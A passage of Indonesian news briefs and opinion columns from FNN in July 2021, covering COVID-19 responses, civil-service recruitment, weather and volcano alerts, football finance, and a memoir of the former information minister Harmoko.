pandemi Covid-19 di Indonesia, melalui displin menerapkan protokol kesehatan dan melaksanakan vaksinasi. Menjaga diri dan umat dari pandemi menjadi kewajiban semua masyarakat dalam rangka menjaga umat atau himayatul ummah dan menjaga jiwa atau hifdzun nafs. "Bahaya Covid-19 ini sudah sangat diyakini, bukan saja di Indonesia tetapi di seluruh dunia. Padahal menurut para ulama, menangkal dan menjaga diri dari bahaya itu termasuk sesuatu yang diwajibkan," ujar dia. (sws)

Basarnas Palangka Raya Dapat Alokasi Penerimaan CPNS 41 Orang

Palangka Raya, FNN - Kepala Kantor Pencarian dan Pertolongan/ Basarnas Palangka Raya, Kalimantan Tengah, Muhamad Hariyadi, mengatakan pihaknya pada tahun 2021 ini mendapatkan alokasi penerimaaan CPNS sebanyak 41 orang. "Untuk itu kami minta masyarakat benar-benar mempersiapkan diri agar mampu memaksimalkan peluang ini untuk bergabung bersama Basarnas," katanya di Palangka Raya, Kamis. Formasi yang tersedia tersebut, terdiri dari jabatan rescuer pemula dengan pendidikan SMA/SMK sederajat. Selanjutnya formasi jabatan perawat terampil, analis BMN, analis keuangan, serta penata laporan keuangan. "Kemudian formasi penyusun rencana kegiatan dan anggaran, masinis kapal, juru mudi dan beberapa lainnya dengan pendidikan Strata I maupun Diploma III," kata dia. Diketahui Badan Kepegawaian Negara (BKN) resmi mengumumkan pendaftaran seleksi CPNS 2021, serta dibuka mulai 30 Juni 2021 lalu hingga 21 Juli 2021. Secara keseluruhan, Badan Nasional Pencarian dan Pertolongan membuka sebanyak 350 formasi untuk seleksi CPNS 2021. Formasi seleksi CPNS Basarnas 2021 terbuka baik untuk lulusan S1, D3 maupun SMA/SMK sederajat. Lebih lanjut Hariyadi memaparkan, seleksi CPNS kali ini, Palangka Raya terpilih bersama 11 provinsi lainnya sebagai tempat pelaksanaan seleksi. "Harapannya semoga putra-putri terbaik yang ada di Kalimantan Tengah dapat turut serta mengikuti seleksi penerimaan CPNS Basarnas 2021 ini," ungkapnya. Adapun tahapan penerimaan, meliputi seleksi administrasi, kemudian CAT, serta untuk formasi tenaga rescuer dan ABK atau awak kapal akan ada tes fisik, jasmani dan kesehatan. Terkait pelaksanaan CAT pihaknya telah berkoordinasi dengan pihak perwakilan BKN regional setempat, sehingga tinggal menyesuaikan waktu pelaksanaan. Untuk jadwal dan persyaratan pendaftaran CPNS Basarnas 2021 dapat diunduh melalui situs web Basarnas https://bit.ly/CPNSBasarnas2021, atau dapat dilihat di media sosial Instagram @sar_nasional atau @basarnas_palangkaraya. Jika masyarakat memerlukan penjelasan dapat langsung datang ke Kantor Pencarian dan Pertolongan/Basarnas Palangka Raya di Jalan Tjilik Riwut Km 6,5, Jalan Tangkuhis No.70 Kelurahan Bukit Tunggal. (sws)

Sebagian Daerah Berpotensi Hadapi Hujan Lebat Disertai Angin Kencang

Jakarta, FNN - Sebagian daerah di Pulau Sumatera, Jawa, Bali, dan Kalimantan pada Jumat berpotensi menghadapi hujan lebat yang dapat disertai petir dan angin kencang menurut prakiraan cuaca Badan Meteorologi, Klimatologi, dan Geofisika (BMKG). Menurut siaran informasi di laman resmi BMKG, potensi pertumbuhan awan hujan meningkat di sekitar sirkulasi siklonik di perairan utara Kalimantan dan Samudera Hindia barat Sumatera yang membentuk daerah pertemuan angin atau konfluensi. Peningkatan pertumbuhan awan hujan juga berpotensi terjadi di daerah pertemuan dan perlambatan kecepatan angin atau konvergensi di Aceh, dari Sumatera Utara hingga Selat Malaka, Semenanjung Malaysia, dari Sumatera Selatan hingga Sumatera Barat, Lampung, dari Nusa Tenggara Timur hingga Jawa Timur, utara Kalimantan, dari Sulawesi Tenggara hingga Sulawesi Tengah, dari Laut Maluku hingga Gorontalo, serta Papua Barat dan Papua. Dengan kondisi yang demikian, menurut BMKG, hujan lebat disertai kilat/petir dan angin kencang berpotensi terjadi di wilayah Aceh, Sumatera Barat, Bengkulu, Jambi, Sumatera Selatan, Lampung, Banten, Jawa Barat, Jawa Tengah, Yogyakarta, Jawa Timur, dan Bali. Hujan lebat disertai kilat/petir serta angin kencang juga berpeluang terjadi di wilayah Kalimantan Barat, Kalimantan Tengah, Kalimantan Utara, Kalimantan Timur, Sulawesi Tengah, Sulawesi Tenggara, Maluku, Papua Barat, dan Papua. Sedangkan wilayah Riau, Kalimantan Selatan, dan Sulawesi Barat berpotensi menghadapi hujan dengan intensitas yang lebih ringan. BMKG menyampaikan peringatan mengenai potensi bencana banjir akibat hujan lebat di wilayah Aceh, Sumatera Barat, Lampung, Banten, Jawa Barat, Jawa Tengah, Jawa Timur, Sulawesi Tengah, dan Sulawesi Barat. (mth)

RSUD Wates Mengharapkan Kemudahan Klaim Biaya Penanganan COVID-19

Kulon Progo, FNN - Rumah Sakit Umum Daerah (RSUD) Wates di Kabupaten Kulon Progo, Daerah Istimewa Yogyakarta, berharap Kementerian Kesehatan mempermudah syarat pengajuan klaim biaya penanganan pasien COVID-19. Direktur RSUD Wates Lies Indriyati di Kulon Progo, Jumat, mengatakan bahwa saat ini persyaratan klaim biaya penanganan pasien COVID-19 sangat banyak dan rumit. "Kalau biaya penanganan pasien terkonfirmasi COVID-19 mau dijamin, dan kami tidak akan merekayasa data pasien COVID-19. Kami berharap klaim dipermudah, sehingga kami bisa lancar semua, dan tidak menjadi beban kami yang harus melayani dan harus mengurus berkas klaim secara detail dan rumit," kata Lies. Ia juga mengeluhkan penggunaan aplikasi pengajuan klaim Kementerian Kesehatan, E-claim. Menurut dia, proses pengunggahan dokumen dan pemasukan data di aplikasi itu lambat sedangkan waktu pengajuan klaim dibatasi 14 hari kerja. "Yang mengunggah data klaim bersamaan dari selurun rumah sakit di Indonesia, sehingga membutuhkan waktu lama, sehingga kami berupaya mengunggah data lebih cepat, tidak bisa cepat," katanya. "Kami berharap Kementerian Kesehatan juga memperbaharui aplikasi yang digunakan untuk klaim penanganan pasien COVID-19," ia menambahkan. Wakil Direktur Pelayanan RSUD Wates Ananta Kogam Dwi Korawan mengatakan bahwa pada tahun 2021 rumah sakit menyampaikan pengajuan awal klaim ke Kementerian Kesehatan senilai Rp12,2 miliar. BPJS Kesehatan, ia melanjutkan, menilai klaim biaya yang layak Rp6,5 miliar dan yang masih bermasalah Rp2,4 miliar. "Kami sudah memberikan pelayanan terbaik, namun klaim ke Kementerian Kesehatan dan BPJS cukup sulit," katanya. (mth)

Presiden La Liga: Barca Harus Jual Pemain Bila Ingin Pertahankan Messi

Jakarta, FNN - Presiden La Liga Javier Tebas mengatakan bahwa Barcelona harus menjual pemain atau pangkas pengeluaran gaji mereka bila ingin mempertahankan Lionel Messi dan mematuhi aturan finansial liga. Tebas menambahkan bahwa klub tidak akan diberikan keringanan hukuman bila tidak bisa mematuhi aturan kontrol keuangan liga yang ketat. Kontrak Messi sendiri bersama Barcelona telah habis akhir bulan lalu dan saat ini berstatus bebas transfer karena klub Katalunya tersebut belum menawarinya kontrak baru karena terkendala masalah finansial. Presiden Barcelona, Joan Laporta mengatakan bulan lalu bahwa Messi ingin bertahan di klub, tetapi kontrak barunya masih tertunda oleh peraturan Financial Fair Play liga. Menurut laporan media-media Spanyol, La Liga dapat melonggarkan aturan untuk memungkinkan peraih Ballon d'Or enam kali itu tetap di Camp Nou. Namun, Tebas menegaskan bahwa hal tersebut tidak ada akan terjadi. "Aturannya adalah apa adanya dan semua orang harus mematuhinya, dari Barcelona hingga (tim divisi dua) Alcorcon," katanya kepada media Spanyol La Sexta yang dikutip Reuters pada Jumat (09/7). Pemain berusia 34 tahun tersebut saat ini sedang bersama timnas Argentina dan pada Sabtu akan bermain melawan tuan rumah Brasil di final Copa America 2021. Messi berharap untuk memenangkan trofi besar pertamanya dengan timnas Argentina. Namun, masa depannya di klub masih perlu diselesaikan dengan musim 2021-22 La Liga akan dimulai lima pekan lagi. Menurut Tebas, satu-satunya cara Barcelona untuk mempertahankan kapten mereka adalah menjual lebih banyak pemain. Pada bursa transfer ini, Blaugrana telah menjual bek kiri Junior Firpo ke Leeds United, pemain timnas Amerika Serikat Konrad de la Fuente ke Olympique de Marseille dan bek Jean-Claire Todibo ke Nice. (mth)

Kenangan Harmoko Yang Selalu Bela Wartawan

by Zainal Bintang Jakarta FNN - Harmoko, mantan Menteri Penerangan yang fenomenal di era pemerintahan Soeharto berpulang ke rahmatullah Minggu malam (04/07/21) di RSPAD Gatot Subroto, Jakarta Pusat dalam usia 82 tahun. Jenazah Harmoko telah dimakamkan di Taman Makam Pahlawan (TMP) Kalibata, Jakarta Senin siang (05/07/21) dengan protokol kesehatan yang ketat. "Pemulasaraan jenazah secara Covid-19," ujar Kepala Rumah Sakit Pusat Angkatan Darat (RSPAD) Gatot Soebroto Letnan Jenderal TNI Albertus Budi Sulistya. Menteri Komunikasi dan Informasi Johnny G. Plate mewakili pemerintah melepas almarhum Harnoko ke tempat peristirahatan terakhir. Pertama kali saya mengenal Harmoko ketika berlangsung Kongres Persatuan Wartawan Indonesia (PWI) “Integrasi” ke XV di Tretes, Malang Jawa Timur, dari 30 November – 1 Desember 1973. Saya di PWI BM Diah menghadiri kongres bersama almarhum Rahman Arge dari PWI Rosihan Anwar yang berusia 38 tahun besama-sama dengan beberapa wartawan senior lainnya sebagai delegasi PWI Sulawesi Selatan. Umur saya 27 tahun. Disebut PWI “Integrasi” karena kongres itu bertujuan menyatukan kepengurusan PWI BM Diah dan PWI Rosihan Anwar. Harmoko terpilih menjadi Ketua Umum PWI dengan diembel-embeli istilah “Dewan Pelaksana”, didampingi Brigjen TNI AD (Pur) Sunardi DM sebagai Sekertaris Umum. Sunardi dikenal sebagai penulis serial cerita wayang dan Pemimpin Redaksi koran Berita Yudha milik Angkatan Darat. Perhelatan di Tretes itu sengaja diadakan untuk mengakhiri dualisme dalam tubuh PWI. Sekaligus sebagai jalan tengah memotong kelanjutan perseteruan dua kubu dedengkot PWI Pusat. Itulah ekses Kongres PWI ke XIV di Palembang 14-19 Oktober 1970. Ketika terpilih di Tretes, Harmoko berusia 34 tahun. Dia adalah Ketua PWI Jaya pendukung PWI Rosihan. Delegasi Sulawesi Selatan, salah satu yang paling nyaring menyuarakan nama Harmoko sebagai calon Ketua Umum untuk mendorong regenerasi di tubuh PWI. Adapun BM Diah (56) dan Rosihan Anwar (51) akhirnya disatukan di dalam wadah jabatan yang juga baru diciptakan yang disebut “Dewan Pembina”. Tempat untuk “penampungan” wartawan senior dan pemimpin redaksi. Termasuk Jacob Oetama (Kompas) dan H.G. Rorimpandey (Sinar Harapan) untuk menyebut nama beberapa tokoh pers. Sejak 1974 saya hijrah ke Jakarta menjadi wartawan kebudayaan Harian Angkatan Bersenjata (media resmi Hankam). Menulis khusus resensi pementasan acara kesenian dan kebudayaan di TIM (Taman Ismail Marzuki) dan film Indonesia produksi baru. Pada tahun 1979 ketika saya memproses rekomendasi untuk menjadi Pemimpin Umum dan Pemimpin Redaksi Mingguan Barata di Jakarta. Ternyata diharuskan melakukan mutasi domisili dari PWI Sulawesi Selatan di Makassar untuk menjadi anggota PWI Jaya. Waktu itu Ketua PWI Jaya Zulharman Said, wartawan kawakan yang sangat tegas tapi baik hati. Dia menganjurkan saya menemui Harmoko, Ketua Umum PWI Pusat di rumahnya untuk meminta tanda tangan rekomendasi persetujuan mutasi. Beberapa tahun kemudian sesudahnya saya menjadi pengurus PWI Jaya dua periode. Bidang Kesra (1987) lalu bidang Hukum (1991). Didampingi adik saya Ilham Bintang, hari itu juga saya meluncur ke rumah Harmoko. Waktu itu sore menjelang magrib di kawasan Rawamangun. Saya menunggu di ruang tamu sampai dia keluar menemui saya. Spontan dia memberi dukungan untuk pindah ke Jakarta. Tidak lupa dititipi beberapa “pesan khusus”. Rekomendasi tersebut ditanda tanganinya saat itu juga. Sebagai wartawan terlihat dia “anti birokrasi” yang ribet. Gerak cepat, itulah Harmoko. Saya lebih merasakannya sebagai simpati dan solidaritas kepada nasib sesama wartawan. Menteri Penerangan waktu itu adalah Letjen TNI AD Ali Moertopo yang terkenal dengan “Opsus”nya (Operasi Khusus). Ali Moertopo sangat terbantu oleh kelincahan dan kreatifitas Harmoko merebut hati teman-teman wartawan. Tua dan muda. Kepemimpinannya yang supel dan kekeluargaan berhasil menumbuhkan soliditas dan simpati wartawan di seluruh Indonesia kepadanya. Di era kepemimpinannya, Harmoko menggagas tradisi nasional pertemuan rutin tahunan insan pers seluruh Indonesia di Jakarta. Disebut “Pertemuan Akbar Pemimpin Redaksi dan Pengurus PWI Seluruh Indonesia” selama kurang lebih 5 hari. Acara diisi dengan ceramah secara bergantian menteri strategis di era Soeharto. Dan berujung pada pertemuan bincang-bincang santai dengan Presiden Soeharto di Istana Negara sambil melaporkan hasilnya. Kesuksesan beberapa kali “pertemuan akbar” itu, mengukuhkan anggapan Soeharto bahwa Harmoko bisa “menguasai” insan pers. Harmoko kemudian mendapat kado istimewa. Dia berhasil menarik simpati dan kepercayaan Soeharto. Diangkat menjadi (Menpen) Menteri Penerangan menggantikan Ali Moertopo pada Kabinet Pembangunan IV (1983 -1988) dan berlanjut pada Kabinet Pembangunan V (1988 -1993). Harmoko masih berlanjut sebagai Menpen pada Kabinet Pembangunan VI (1993 – 1998). Namun, pada 6 Juni 1997, mendadak Harmoko digantikan oleh Jenderal R. Hartono (waktu itu adalah KASAD) sebagai Menpen. Harmoko adalah sipil pertama yang terpilih sebagai Ketua Umum Golkar (1993 – 1998) menggantikan Letjen. TNI AD (Pur) Wahono. Lalu menjadi Ketua DPR/MPR RI (1997 – 1998). Kiprah Harmoko yang melegenda secara politis adalah ketika mendukung Soeharto sebagai presiden tujuh periode, sekaligus “nekat” memintanya turun, setelah menjabat kurang lebih 70 hari lamanya (11 Maret 1998 – 21 Mei 1998), dan digantikan oleh BJ. Habibie, yang semula Wakil Presiden. Sebagai pengganti Harmoko menjabat selaku Ketua Pelaksana Tugas Ketua Umum PWI Pusat, dipercayakan kepada Atang Ruswita (11 Maret 1983 sampai November 1983), sampai tiba pada Kongres PWI XVII berikutnya di Manado (14-16 November 1983) yang memilih Zulharman Said sebagai Ketua Umum dan Atang Ruswita sebagai Sekjen. Zulharman Said dikenal sebagai “soulmate”nya Harmoko. Tetapi, setelah “pertemuan akbar” berlangsung dua atau tiga kali di era Harmoko sebagai Menpen, tradisi itu kemudian dihentikan. Entah apa sebabnya? Namun di era Harmokolah dikeluarkan Peraturan Menteri Penerangan Nomor 1 Tahun 1984 yang mengharuskan semua perusahaan penerbitan pers (surat kabar) berbadan hukum PT (Perseroan Terbatas) sebagai persyaratan memperoleh SIUPP (Surat Izin Usaha Penerbitan Pers) sebagai pengganti SIT (Surat Izin Terbit) yang lama. Dengan badan hukum PT, penerbit diwajibkan memberi saham 20% kepada wartawan dan karyawan pers. Bertujuan sebagai jaminan hidup wartawan dan karyawan pers jika korannya kena “breidel”. Sebelumnya penerbit kebanyakan Yayasan atau Firma berbasis SIT dari Departemen Penerangan, dilengkapi SIC (Surat Izin Cetak) dari Laksusda/Kopkamtibda). Pada masa itu wartawan dan karyawan pers bukan pemegang saham. Kalau medianya kena “breidel” wartawan dan karyawan gigit jari. Ini membuktikan di dalam diri Harmoko mengalir darah wartawan. Keberpihakannya itu jelas. Keunggulan almarhum Harmoko yang lain adalah sanggup hafal satu persatu nama Pemimpin Redaksi dan Ketua PWI Seluruh Indonesia. Surat kabar yang boleh terbit di seluruh Indonesia ketika itu ada 250-an izin. Termasuk koran saya. Nah, Harmoko mampu menyebut satu persatu nama setiap kali bertemu wartawan ketika berlangsung acara rutin “pertemuan akbar”. Hal ini tentu didukung latar belakangnya sebagai dalang yang mewajibkannya menghafal satu persatu nama wayang kulit yang dipegangnya. Karena muka wayang kulit itu nyaris serupa semua. Apalagi selalu dimiring-miringkan. Di era Harmoko pula ada budaya “sensor” telpon. Itulah “budaya” pejabat Deppen untuk menegur pemimpin redaksi soal pemberitaan yang menimbulkan reaksi. Menurut Harmoko, cara ini untuk mencegah benturan fisik langsung antara pekerja media dengan mereka yang merasa dirugikan. Namun SIUPP dan budaya “sensor” telpon itu mendapat kritikan keras dari aktifis penggiat demokrasi. Dianggap sebagai “senjata” pencabut nyawa surat kabar yang tidak sejalan dengan kebijakan pemerintah. Saya punya pengalaman yang menarik dengan Harmoko. Koran saya berkali-kali kena tegur keras pejabat Deppen karena dianggap “offside”. Hasil rapat petinggi Deppen memutuskan SIUPP tidak akan diberikan kepada koran saya. Padahal persyaratan administrasinya sudah dipenuhi. Anehnya, toh masih dibiarkan terbit. Ternyata Harmokolah yang “membela” supaya tidak langsung dieksekusi. Kepada petinggi Deppen dalam sidang “pengadilan” media (menurut saya kebanyakan pejabatnya aparat intelijen) Harmoko berargumentasi bahwa perlu dibina dulu enam bulan. Alasannya, karena pemimpin redaksinya masih muda, oplahnya tidak banyak, beritanya tidak akan ada pengaruh di publik. Akhirnya diputuskan, sementara diberikan semacam “amnesti“ dengan masa “pembinaan” selama enam bulan. Untuk memberi kesempatan supaya bisa insyaf! Seingat saya, “amnesti” per enam bulan itu malah sempat diberikan dua atau tiga kali. Namun seiring jalannya waktu, sampai lengsernya Soeharto pada bulan Mei 1998 itu, eksekusi atas koran saya tidak pernah dilaksanakan. Menjadilah Barata Minggu koran yang terbit terus meskipun tanpa SIUPP sampai berakhirnya rezim SIUPP pemerintah Orde Baru di tangan pemerintahan reformasi. Bagi saya pribadi, inilah jasa besar Harmoko yang saya tidak bisa dilupakan. Harmoko seorang yang berjiwa pemimpin dan humanis. Terakhir, tanpa sengaja saya bertemu Harmoko kalau tidak salah ingat pada tahun 2013 di Makassar dalam acara ulang tahun Harian Fajar. Terjadi “reuni”an bersama senior – senior, seperti bung Rahman Arge (almarhum – meninggal Agustus 2015 dalam usia 80 tahun) dan Bung Ramiz Parenrengi (almarhum- meninggal Juni 2015 dalam usia 77 tahun). Pada ulang tahun Harian Fajat itu, hadir juga bung Alwi Hamu selaku pemimpin Harian Fajar. Harmoko datang memakai kursi roda, digandeng seorang pendamping. Kesehatannya memang terlihat terganggu. Namun, kami-kami masih bisa dikenalnya. Meskipun dengan susah payah. Masih bisa bercanda dengan humor-humor dalam bahasa Makassar. Yang masih diingatnya. Selamat jalan Bung Harmoko. Selamat beristirahat di tempat yang tenang. Semoga engkau mendapat tempat yang layak dan seindah-indahnya di sisi-Nya. Kepada keluarga yang ditinggalkan semoga diberi ketabahan oleh-Nya. Amin ya robbal alamin. Innalillahi Wainna Ilaihi Rajiun. Penulis adalah Wartawan Senior dan Pemerhati Sosial Budaya.

Sahroni Tidak Sepakat RS Khusus bagi Pejabat Negara Dibangun

Jakarta, FNN - Wakil Ketua Komisi III DPR, Ahmad Sahroni, tidak sepakat dengan wacana yang disampaikan politisi PAN, Rosaline Rumaseuw, yang meminta pemerintah untuk membuat rumah sakit khusus bagi para pejabat negara. Menurut Sahroni, saat ini ketika kondisi susah, siapapun memiliki hak pelayanan kesehatan yang sama. "Saya tidak setuju dengan usulan RS untuk pejabat. Di situasi seperti sekarang, semua sama saja, tidak perlu adanya perlakuan istimewa kepada siapapun, apalagi sampai usul ada rumah sakit khusus pejabat segala," kata Sahroni, dalam keterangannya di Jakarta, Kamis. Ia menilai pejabat negara justru yang harus bekerja keras memikirkan agar bagaimana kondisi rumah sakit bisa normal lagi, bukan minta dikhususkan. Menurut dia, dalam kondisi darurat seperti sekarang, semua lapisan masyarakat sedang berada dalam kondisi yang susah, karena itu usulan terkait perlunya rumah sakit khusus pejabat tidak diperlukan. "Kondisi darurat seperti sekarang ini, semua pasien sama saja, yang punya duit saja susah mau masuk rumah sakit. Jadi tidak perlu ada rumah sakit khusus pejabat segala, semua lagi sama-sama susah," ujarnya. Sebelumnya, Wakil Sekjen DPP PAN, Rosaline Rumaseuw, dalam webinar mengusulkan pemerintah membuat rumah sakit khusus bagi para pejabat negara. Menurut dia, saat ini banyak pejabat negara yang sulit mendapatkan rumah sakit, sehingga pemerintah harusnya menyediakan fasilitas kesehatan bagi para pejabat. (mth)

Gunung Merapi Enam Kali Meluncurkan Awan Panas Guguran

Jogjakarta, FNN - Gunung Merapi di perbatasan Daerah Istimewa Jogjakarta dan Jawa Tengah meluncurkan enam kali awan panas guguran dengan jarak luncur paling jauh 1.500 meter ke arah barat daya dan tenggara pada Kamis. Kepala Balai Penyelidikan dan Pengembangan Teknologi Kebencanaan Geologi (BPPTKG) Hanik Humaida melalui keterangan resminya di Jogjakarta, Kamis, menyebutkan selama periode pengamatan pertama, awan panas guguran terjadi pada pukul 05.12, 05.33, dan 05.46 WIB dengan jarak luncur maksimum 1.000 meter ke arah barat daya. "Awan panas guguran tercatat di seismograf dengan amplitudo maksimum 35 mm dan durasi maksimum 100 detik," kata dia. Awan panas guguran kembali terpantau keluar dari Merapi pada pukul 06.15, 09.38, dan 09.55 WIB dengan jarak luncur maksimum 1.500 meter ke arah tenggara, amplitudo maksimum 60 mm, serta durasi 127 detik. Pada saat terjadi awan panas guguran ini, angin bertiup lemah hingga sedang ke arah timur dan barat. Selama periode pengamatan pukul 06:00-12:00 WIB, BPPTKG juga mencatat tiga kali gempa awan panas guguran dengan amplitudo 40-60 mm selama 95-127 detik, 96 kali gempa guguran dengan amplitudo 3-30 mm selama 7-161 detik, empat kali gempa hembusan dengan amplitudo 2-6 mm selama 13-18 detik. Berikutnya satu kali gempa frekuensi rendah dengan amplitudo enam milimeter selama 11 detik, 42 kali gempa fase banyak dengan amplitudo 2-12 mm selama 4-11 detik, serta 15 kali gempa vulkanik dangkal dengan amplitudo 35-75 mm selama 9-24 detik. Hingga saat ini BPPTKG masih mempertahankan status Gunung Merapi pada Level III atau Siaga. Guguran lava dan awan panas Gunung Merapi diperkirakan berdampak pada wilayah dalam sektor selatan-barat daya yang meliputi Sungai Kuning, Boyong, Bedog, Krasak, Bebeng, dan Putih. Apabila gunung api itu meletus, lontaran material vulkaniknya dapat menjangkau radius tiga kilometer dari puncak gunung. (mth)

Core: Kinerja Manufaktur Peluang Ekonomi RI Tumbuh 5 Persen

Jakarta, FNN- Ekonom Center of Reform on Economics (Core) Indonesia Yusuf Rendy Manilet meminta pemerintah untuk mendorong kinerja industri manufaktur dalam rangka mencapai pertumbuhan ekonomi di atas 5 persen. “Strategi mencapai pertumbuhan ekonomi untuk bisa tumbuh di atas 5 persen perlu dijalankan pemerintah. Mendorong kinerja industri manufaktur menjadi hal yang tidak bisa ditawar,” katanya kepada Antara di Jakarta, Kamis. Yusuf menyatakan beberapa upaya dapat dilakukan agar kinerja industri manufaktur mencetak tren positif seperti melakukan reformasi struktural untuk sektor ini. Kemudian menyiapkan kebijakan industri dari hulu sampai hilir, memberi dukungan investasi dan pembiayaan, hingga membentuk kebijakan fiskal yang difokuskan pada sektor ini. Tak hanya itu, ia menuturkan pemerintah juga harus merencanakan upaya jangka panjang yakni menyiapkan kualitas sumber daya manusia (SDM) mengingat Indonesia memiliki bonus demografi. “Bonus demografi yang sedang dinikmati Indonesia saat ini perlu di selaraskan dengan upaya penciptaan lapangan kerja,” ujarnya. Menurutnya, peningkatan skill dan kapasitas SDM tersebut juga sekaligus mendorong Indonesia untuk bisa kembali menjadi upper middle income country bahkan high income country di masa mendatang. Upaya-upaya tersebut harus dilakukan mengingat Bank Dunia dalam laporan World Bank Country Classifications by Income Level: 2021-2022 menunjukkan pandemi COVID-19 menyebabkan penurunan pendapatan per kapita di Indonesia. Pendapatan per kapita turun dari 4.050 dolar AS pada 2019 menjadi 3.870 dolar AS pada 2020 sehingga membuat Indonesia kembali masuk pada kategori negara berpendapatan menengah bawah atau lower middle income country. “Paling penting tentu mengembalikan track pertumbuhan ekonomi setidaknya seperti sebelum terjadinya pandemi,” tegas Yusuf. (mth)

TNI AL Bedah Rumah Anak Juru Parkir Peraih Adhi Makayasa

Jayapura, FNN - Markas Besar TNI AL melalui Pangkalan Utama TNI AL X/Jayapura melaksanakan kegiatan kemanusiaan bedah rumah keluarga Alex Tiris, seorang juru parkir di Jayapura, Papua, yang putranya, Always Giving Hamonangan Tiris, meraih predikat lulusan terbaik penghargaan Adhi Makayasa 2021, Kamis. Predikat Adhi Makayasa merupakan lulusan terbaik dari aspek akademik, kepribadian, dan kesemaptaan jasmani. Tiris yang sehari-hari bekerja sebagai juru parkir di salah satu bank di Jayapura namun ia mampu menjadikan salah seorang putranya menjadi lulusan terbaik sebagai Adhi Makayasa di Akademi Angkatan Laut angkatan ke-66/2021. Sebagai bentuk kepedulian dan apresiasi TNI AL --dalam hal ini Kepala Staf TNI AL, Laksamana TNI Yudo Margono melalu jajarannya di Jayapura-- melaksanakan kegiatan bedah rumah Tiris yang bertempat di Kalam Kudus, Distrik Jayapura Selatan. Komandan Pangkalan TNI AL X/Jayapura, Kolonel Marinir Feryanto P Marpaung, menyampaikan, bedah rumah ini adalah bentuk kepedulian TNI AL atas prestasi yang diraih putra terbaik Papua menjadi lulusan terbaik Akademi Angkatan Laut. "Dan juga sebagai motivasi kepada putra putri asli Papua agar mereka memiliki keinginan untuk ikut bergabung menjadi prajurit TNI Angkatan Laut," harap dia. Always Giving Hamonangan Tiris adalah anak ketiga dari lima saudara pasangan suami-istri Alex Tiris dan Darmawty Panjaitan, pada penutupan pendidikan Akademi TNI AL angkatan ke-66 dinobatkan KSAL Laksamana TNI Yudo Margono sebagai lulusan terbaik AAL angkatan ke-66 tahun 2021 dan mendapat penghargaan 'bergengsi' Adi Makayasa. (mth)

Puan Tekankan Pentingnya "Sense of Emergency" Tangani Pasien COVID-19

Jakarta, FNN - Ketua DPR RI Puan Maharani menekankan pentingnya penanganan pasien COVID-19 dengan prinsip rasa darurat atau "sense of emergency" sehingga tidak bisa dengan menerapkan prosedur yang biasa saja. "Jadi kita perlu bekerja dengan 'sense of emergency', tidak bisa prosedur-prosedur biasa diterapkan. Kalau kita hanya mengikuti prosedur biasa, maka RS Darurat Lapangan Tembak Surabaya ini tidak akan bisa cepat jadi," kata Puan dalam keterangannya di Jakarta, Kamis. Hal itu dikatakan Puan saat meninjau kesiapan Rumah Sakit Darurat Lapangan Tembak Kedung Cowek, Surabaya, Kamis. Langkah tersebut dilakukan Puan untuk melihat kesiapan rumah sakit tersebut dalam merawat pasien yang terpapar COVID-19. Dia mengatakan, masyarakat membutuhkan ruang perawatan sehingga jangan sampai pasien COVID-19 yang menunggu dan jangan sampai "dipingpong". Menurut dia, pembangunan RS Darurat Lapangan adalah salah satu contoh yang pernah disampaikannya bahwa Indonesia butuh terobosan untuk mengatasi persoalan tingkat keterisian tempat tidur rumah sakit yang di beberapa daerah sudah mencapai lebih dari 80 persen. "Kalau kita bisa bangun RS darurat yang cepat, maka ayo segera kita bangun. Kalau perlu alih fungsi beberapa lokasi menjadi rumah sakit, maka ayo segera kita alih fungsikan," katanya. Dalam keterangan tersebut dijelaskan, setelah tiba di RS Darurat Lapangan Tembak Kedung Cowek, Puan langsung menuju ruang ICU dan menemui para dokter serta tenaga kesehatan. Setelah itu, Puan menuju ruang UGD dan ruang perawatan, lalu mencoba salah satu tempat tidur di ruang perawatan, dan mengecek persediaan obat di ruang penyimpanan obat. Rumah Sakit Darurat Lapangan Tembak Kedung Cowek sudah menyiapkan 600 tempat tidur pasien, 10 dokter setiap hari, serta 100 perawat/bidan dan paramedis lainnya untuk merawat pasien COVID-19. Selain itu, di RS darurat itu juga tersedia ruang UGD, tabung oksigen, dan kipas angin. Selain meninjau Rumah Sakit Darurat Lapangan Tembak Kedung Cowek, Puan juga akan meninjau pelaksanaan vaksinasi di Stadion Gelora 10 November, Tambaksari, Surabaya. Vaksinasi itu akan berlangsung 20 hari, dimulai pada 6 Juli 2021 dengan target 50.000 orang per hari. Saat meninjau RS Darurat tersebut, Puan didampingi Wali Kota Surabaya Ery Cahyadi, Ketua Badan Anggaran DPR RI MH Said Abdullah, Wakil Ketua Komisi IX Charles Honoris, Wakil Ketua Komisi VIII Diah Pitaloka, dan Wakil Ketua Komisi XI Dolfie O.F.P. (mth)

Minta Rakyat Sumbang Vitamin, Erick Thohir Buat Jokowi Malu

by Asyari Usman Medan FNN- Menteri BUMN Erick Thohir mengajak masyarakat menyumbangkan vitamin dan suplemen untuk tenaga kesehatan (nakes). Menurut Erick, para nakes itu berjuang keras menyelamatkan pasien Covid-19. “Sebagai rasa cinta pada dedikasi dengan taruhan nyawa para nakes,” kata Erick. Sepintas lalu, ajakan ini sangat wajar. Menyentuh sekali. Untuk menunjukkan solidaritas kepada pasukan nakes yang tak kenal lelah. Dan banyak yang gugur juga. Sudah lebih 500 orang dokter dan naker yang meninggal dunia di tengah perjuangan mereka menyelamatkan para pesakit Covid. Bagus sekali ajakan Erick. Melatih sentimen kesetiakawanan dan budaya berbagi. Erick sendiri mencontohkan langsung. Dia menyediakan 100 paket vitamin dan suplmenen untuk dibagi-bagikan kepada nakes. Mulia sekali ajakan ini. Tetapi, sebaliknya, ada yang dibuat tidak mulia. Yaitu Presiden Jokowi. Sadar atau tidak, sesungguhnya anjuran Erick itu mempermalukan Presiden dan pemerintah secara keseluruhan. Sebab, negara tidak boleh kalah menghadapi Covid-19, seperti meminjam narasi “negara tak boleh kalah dengan ormas”. Dan memang 100% narasi itu benar. Negara tak boleh dipermalukan gara-gara kekurangan nutrisi di kalangan para nakes. Dimana muka Pak Jokowi mau ditaruh? Kalau sempat rakyat yang sedang sulit itu berbondong-bondong menyumbangkan vitamin dan suplemen kepada nakes, betapa malunya Pak Jokowi. Apalagi kalau para pemimpin negara-negara tetangga tahu. Terpukul sekali Pak Jokowi. Kesian Presiden Indonesia. Dibuat malu sama Menteri BUMN Erick Thohir Jadi, sebaiknya Erick Thohir tidak meminta bantuan dari masyarakat. Merendahkan wibawah pemerintah, khususnya Presiden Jokowi. Lagi pula, dana penanganan Covid ‘kan banyak. Ada sekitar 800 triliun. Setengah triliun saja untuk vitamin dan suplemen 